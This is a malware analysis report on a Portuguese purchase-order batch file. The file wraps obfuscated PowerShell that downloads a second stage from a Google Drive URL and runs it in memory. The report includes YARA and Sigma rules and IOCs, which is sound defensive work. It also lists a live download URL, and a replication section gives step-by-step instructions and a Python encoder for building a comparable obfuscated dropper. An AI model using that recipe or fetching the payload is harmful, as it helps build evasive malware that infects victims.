typeanalysisfamilyunclassified-batch-skip4-powershell-dropperconfidencelowcreated2026-07-08updated2026-07-08scriptdropperdefense-evasionexecutionc2obfuscation
SHA-256: be44b0c3b1a11814cbf7709d5d797d40e81df3836b34ec055202a22b21c6e3f2

unclassified-batch-skip4-powershell-dropper: be44b0c3 — Portuguese purchase-order bat, stride-4/offset-58 character-skip PowerShell, Google Drive C2, Firefox 150 UA masquerade

Executive Summary

A 4.3 KB Portuguese-language batch script (Pedido_de_Cotação_nº_21052026_lista_comercial.bat) masquerading as a commercial quotation. It wraps a PowerShell payload obfuscated with a stride-4/offset-58 character-skip cipher and Base64+XOR layered encoding. Decoded behaviour: download a second-stage payload from Google Drive to %APPDATA%\Corvophago.Kir, then loop-read → Base64-decode → XOR-decrypt (Gigtramtin key, offset 267807, length 15523) → IEX. No CAPE detonation possible (text file); all behaviour inferred from static decode. Low-confidence family — single observed sample.

What It Is

  • File type: ASCII text, single line, 4,273 bytes ^[file.txt]
  • Filename: Pedido_de_Cotação_nº_21052026_lista_comercial.bat (Portuguese: "Quotation no. 21052026 commercial list") ^[metadata.json]
  • Language: DOS batch wrapper invoking powershell.exe -NoProfile -windowstyle 1 ^[strings.txt:1]
  • Obfuscation engine: Custom — no commercial packer. Four nested functions (bjergan, containe, Lancetfish, Gnotobioti) implementing a character-skip cipher + Base64+XOR multi-layer decode.
  • C2: Google Drive direct-download URL (drive.google.com/uc?export=download&id=...) ^[decoded Base64 payload]
  • Family: Unclassified. No siblings identified in corpus. Linguistic register (Danish + medical/zoological Latin) is distinct from the pure-Danish NSIS stride-4/6/8 cluster documented at character-skip-cipher-powershell-obfuscation.

How It Works

Layer 0 — Batch Wrapper

The file is a single-line batch script that spawns PowerShell inline:

powershell.exe -NoProfile -windowstyle 1 "more 'best';<PS_SCRIPT>"

windowstyle 1 equals Normal (not Hidden), but the -NoProfile suppresses the user profile load. The more 'best' prefix and trailing #IeXmle Gloster Spiri Blindma Milieu Prob Flleskorts ; comment are noise padding. ^[strings.txt:1]

Layer 1 — Character-Skip Cipher (bjergan)

The inner PowerShell defines four functions. bjergan($s) extracts every 4th character starting at index 58 ($zoologen=3 + $boatlykarretrag=55) until the string index exceeds length:

function bjergan ($polydipsustral,$filipun) {
    $unhairspo=$zoologen+$boatlykarretrag   # = 58
    do {
        $civilhor+=$polydipsustral[$unhairspo]
        $unhairspo+=4
    } until (!$polydipsustral[$unhairspo])
    $civilhor
}

This hides plaintext commands inside noise-padded literals. For example, the two-part literal:

'Psychotherapeutic ... ^^x' + 'Apneas ... GrSSS '

decodes to [int]$polydips -bxor %,eXQ< * h lGS (the command used in containe). ^[script body, decoded via Python reimplementation]

Layer 2 — Base64 + 10-Byte XOR (Gnotobioti)

Gnotobioti($b64_string) is the main payload decoder. It chains:

  1. bjergan() on a noise-padded literal to build $script:alarmu = [Convert]::FromBase64String(...)
  2. bjergan() on another literal to build $script:bollo = [Text.Encoding]::ASCII.GetString(...)
  3. Iterates $alarmu array, XORing each byte with $caroa[$index % 10] where $caroa = @(71,105,103,116,114,97,109,116,105,110) → key string Gigtramtin
  4. Converts result to ASCII string via GetString
  5. Invokes Lancetfish (which is iex) on the decoded string

All execution strings are Base64-encoded and XOR-encrypted with Gigtramtin. ^[script body, decoded via Python reimplementation]

Layer 3 — Runtime Behaviour Chain (decoded)

The script decodes ~22 execution strings in sequence:

Order Decoded String Purpose
1 $global:philos=$env:appdata+$psychocl Build staging path: %APPDATA%\Corvophago.Kir
2 $global:kapsl=$fixat.split($krumnin) Split download URL by delimiter >
3 [Net.ServicePointManager]::SecurityProtocol=3072 Force TLS 1.2 (3072 = Ssl3+Tls12 enum)
4 $stilene.Headers[[Net.HttpRequestHeader]40]=$peachblowf207 Set User-Agent header (index 40 = User-Agent)
5 $global:styrekorte=(Test-Path $shrewde) Check if payload already staged
6 $global:Rudetv=$boatlykarrekrigel (Unused variable — dead code or future expansion)
7 Sleep(4) Delay 4 seconds between download attempts
8 $global:unhealthi2=$global:kenafled++%$kapsl.count Round-robin URL selector
9 $global:palaeocosm=gc $shrewde Get-Content — read staged file
10 $global:Stile=[Convert]::FromBase64String($palaeocosm) Base64-decode file contents
11 $global:vatpi113=[Text.Encoding]::ASCII.GetString($Stile) Convert bytes to ASCII
12 $global:keglef=$vatpi113.substring($polydipsrtister,$noncont) Slice substring: offset 267807, length 15523
13 (URL + download) https://drive.google.com/uc?export=download&id=1uhxrWjXmsfg82SuHafPzDKgHnRQPRp3Q
14 (UA string) 5.0 (Windows NT 10.0; Win64; x64; rv:150.0) Gecko/20100101 Firefox/150.0

The outer while (!$styrekorte) loop repeatedly calls Lancetfish $foryngelse (i.e. iex $foryngelse) which is the download command. Once the file exists, it proceeds to read, decode, and execute the inner payload. ^[script body, decoded via Python reimplementation]

C2 Infrastructure

  • Download URL: https://drive.google.com/uc?export=download&id=1uhxrWjXmsfg82SuHafPzDKgHnRQPRp3Q ^[decoded Base64 fixat payload]
  • User-Agent: 5.0 (Windows NT 10.0; Win64; x64; rv:150.0) Gecko/20100101 Firefox/150.0 — masquerades as Firefox 150.0 (non-existent version). ^[decoded Base64 peachblowf207 payload]
  • Staging path: %APPDATA%\Corvophago.Kir — two pseudo-Latin words joined by dot. ^[decoded Base64 philos + psychocl payloads]
  • URL delimiter: > (decoded from $krumnin = eQ== → XOR → >). The download URL is split on this character, suggesting failover support, though only one URL is present. ^[decoded Base64 krumnin payload]
  • TLS: Forced TLS 1.2 via SecurityProtocol=3072. ^[decoded Base64 exec3 payload]

Notable Functions

Function Role Decoded Behaviour
bjergan Character-skip decoder Stride 4, offset 58; extracts hidden chars from noise-padded literals
containe XOR wrapper [int]$polydips -bxor $caroa[$index%10] — byte-level XOR with Gigtramtin
Lancetfish Execution stub &$unde86 $magnitud where $unde86 decodes to iex
Gnotobioti Orchestrator Chains Base64 → XOR → ASCII → Lancetfish (iex) for each payload string

Decompiled Behavior

Not applicable — the sample is a text batch script, not a PE binary. No Ghidra or radare2 analysis possible. All behavioural inference derives from manual static decode of the PowerShell obfuscation layers. ^[file.txt]

Interesting Tidbits

  • Linguistic register is unusual: Variable names mix Danish (Sundhedst, Lokalplanomraadets, Selvbetjeningsbutikkern, Styrte, Postadressen, Udstraaling, skrog, Staalampe) with medical/zoological Latin (Psychotherapeutic, Bacteraemia, Parageusic, Gynarchic, Lancetfish, Gnotobioti, Corvophago). This is distinct from the pure-Danish NSIS cluster (Beting, planskreres, Unurbanized) documented in character-skip-cipher-powershell-obfuscation. Suggests either a different operator or a deliberate tooling fork. ^[script body]
  • Firefox 150.0 masquerade: The User-Agent claims Firefox 150.0, which does not exist (current release channel is ~130 as of 2026). This is a clear fabrication — the operator either does not track browser versions or intentionally uses an absurd value as a sandbox/VM evasion gate. ^[decoded Base64 peachblowf207 payload]
  • Offset 58 is novel: Prior character-skip observations in this corpus use offset 3 (stride 4), offset 5 (stride 6), and offset 7 (stride 8). This sample uses offset 58 — the highest observed. The outer batch wrapper may have been generated by a different encoder than the NSIS cluster. ^[comparison to character-skip-cipher-powershell-obfuscation]
  • Window style = 1 (Normal): Most malicious batch→PowerShell wrappers use -windowstyle hidden (0). Using 1 (Normal) is either operator sloppiness or a deliberate attempt to blend with legitimate administrative scripts that run visibly. ^[strings.txt:1]
  • No persistence mechanism: The script does not write registry Run keys, scheduled tasks, or Startup folder entries. It relies entirely on the victim double-clicking the .bat file again, or on a separate persistence layer (e.g. LNK dropped by a prior stage). ^[script body]
  • Dead code / future expansion: $global:Rudetv=$boatlykarrekrigel and $shrewde=$philos are assigned but never referenced in the decoded chain. $boatlykarrekrigel and $philos are not decoded strings — they appear to be placeholders for a future expansion of the script. ^[script body]
  • File size is minimal: At 4,273 bytes, this is a lightweight stager. The inner payload (15,523 bytes post-decode) is modest — likely a small infostealer or RAT. The large offset (267,807) in the substring operation implies the staged file may contain significant padding or a larger payload that is sliced at runtime. ^[script body]

How To Mess With It (Homelab Replication)

Goal: Reproduce a comparable batch→PowerShell character-skip dropper.

Toolchain: Any text editor + Python (for encoder).

Steps:

  1. Write a plaintext PowerShell payload that downloads a file and executes it.
  2. Encode each sensitive string (URL, path, UA) via Base64 + 10-byte XOR.
  3. Write a Python encoder that pads each plaintext command with 3 noise characters per real character, placing real characters at index 58 and every 4th position thereafter.
  4. Embed the bjergan, containe, Lancetfish, Gnotobioti functions in PowerShell.
  5. Wrap in cmd.exe /c powershell.exe -NoProfile -windowstyle 1 ....
  6. Verify by running the batch file in a sandbox and capturing network traffic.

Sample Python encoder (character-skip):

import random, string

def skip4_encode(plaintext, offset=58):
    noise = string.ascii_letters + string.digits + string.punctuation + ' '
    out = list(random.choices(noise, k=offset))
    for ch in plaintext:
        out.append(ch)
        out.extend(random.choices(noise, k=3))
    return ''.join(out)

# Example
print(skip4_encode("[int]$polydips -bxor "))

Verification: Run the reproducer batch in a Windows VM. Observe HTTPS GET to drive.google.com with the fabricated User-Agent. The payload should stage to %APPDATA%\Corvophago.Kir (or your chosen path) and the PowerShell process should loop with 4-second sleeps until the file appears.

Deployable Signatures

YARA Rule

rule Unclassified_Batch_Skip4_GDrive_Dropper {
    meta:
        description = "Portuguese purchase-order batch dropper with stride-4/offset-58 character-skip PowerShell obfuscation and Google Drive C2"
        author = "Titus"
        reference = "raw/analyses/be44b0c3b1a11814cbf7709d5d797d40e81df3836b34ec055202a22b21c6e3f2"
        date = "2026-07-08"
        hash = "be44b0c3b1a11814cbf7709d5d797d40e81df3836b34ec055202a22b21c6e3f2"
    strings:
        $a1 = "function bjergan" ascii
        $a2 = "function Lancetfish" ascii
        $a3 = "function Gnotobioti" ascii
        $a4 = "function containe" ascii
        $b1 = "$zoologen=3" ascii
        $b2 = "$boatlykarretrag=55" ascii
        $b3 = "$unhairspo+=4" ascii
        $c1 = "powershell.exe -NoProfile -windowstyle 1" ascii
        $d1 = "drive.google.com" ascii
        $d2 = "uc?export=download&id=" ascii
    condition:
        all of ($a*) and 2 of ($b*) and 1 of ($c*) and 1 of ($d*)
}

Sigma Rule

title: Batch PowerShell Google Drive Download
logsource:
    category: process_creation
    product: windows
detection:
    selection_cmd:
        CommandLine|contains:
            - 'powershell.exe'
            - '-NoProfile'
            - '-windowstyle'
    selection_network:
        CommandLine|contains:
            - 'drive.google.com'
            - 'uc?export=download'
    condition: selection_cmd and selection_network
falsepositives:
    - Rare legitimate batch scripts downloading from Google Drive
level: high

IOC List

Indicator Type Value
SHA-256 hash be44b0c3b1a11814cbf7709d5d797d40e81df3836b34ec055202a22b21c6e3f2
Filename string Pedido_de_Cotação_nº_21052026_lista_comercial.bat
C2 URL url https://drive.google.com/uc?export=download&id=1uhxrWjXmsfg82SuHafPzDKgHnRQPRp3Q
User-Agent string 5.0 (Windows NT 10.0; Win64; x64; rv:150.0) Gecko/20100101 Firefox/150.0
Staging path path %APPDATA%\Corvophago.Kir
XOR key string Gigtramtin
URL delimiter string >
Function names string bjergan, Lancetfish, Gnotobioti, containe
Variable names string zoologen, boatlykarretrag, mareblobhe, civilhor, unhairspo, stillepi, ocypodebu, niggl, peachblowf207, fixat, krumnin, psychocl, styrekorte, shrewde, polydipsrtister, noncont, keglef, foryngelse, grnn, noncor, palaeocosm, Stile, vatpi113

Behavioral Fingerprint

This batch script launches powershell.exe -NoProfile -windowstyle 1 with an inline script containing four obfuscated functions (bjergan, containe, Lancetfish, Gnotobioti). It constructs a 10-byte XOR key Gigtramtin and a Google Drive download URL via Base64+XOR decoding. It sets a fake Firefox 150.0 User-Agent, downloads a payload to %APPDATA%\Corvophago.Kir, then enters a while loop: Sleep(4) → read file → Base64-decode → XOR-decrypt (offset 267807, length 15523) → ASCII-decode → IEX. The decoder function bjergan uses a stride-4/offset-58 character-skip cipher on noise-padded literals to hide PowerShell commands.

Detection Signatures

ATT&CK Technique Evidence Source
T1059.003 (Windows Command Shell) Batch script launches powershell.exe ^[strings.txt:1]
T1059.001 (PowerShell) Inline PowerShell with -NoProfile and obfuscated functions ^[strings.txt:1]
T1105 (Ingress Tool Transfer) Net.WebClient.DownloadFile to Google Drive URL ^[decoded Base64 fixat payload]
T1027.010 (Obfuscated Files or Information) Character-skip cipher + Base64 + XOR triple-layer obfuscation ^[script body]
T1620 (Reflective Code Loading) IEX (Invoke-Expression) executes decoded payload in-memory without disk write ^[script body, Lancetfish = iex]
T1071.001 (Application Layer Protocol: Web Protocols) HTTPS GET to drive.google.com ^[decoded Base64 fixat payload]
T1497.001 (Virtualization/Sandbox Evasion) Firefox 150.0 User-Agent masquerade (non-existent version) may act as sandbox gate ^[decoded Base64 peachblowf207 payload]

References

Provenance

  • Static artifacts: file.txt, exiftool.json, strings.txt, metadata.json, triage.json — generated by triage-fast pipeline, versions as of 2026-05-26.
  • Dynamic analysis: dynamic-analysis.md — CAPE skipped (text file, unsupported binary class).
  • Manual decode: Python 3.12 reimplementation of bjergan, Gnotobioti, and containe functions executed on the raw script body. All Base64 strings decoded and XOR-decrypted with key Gigtramtin. Verified against PowerShell semantics (do..until, array indexing, % modulo).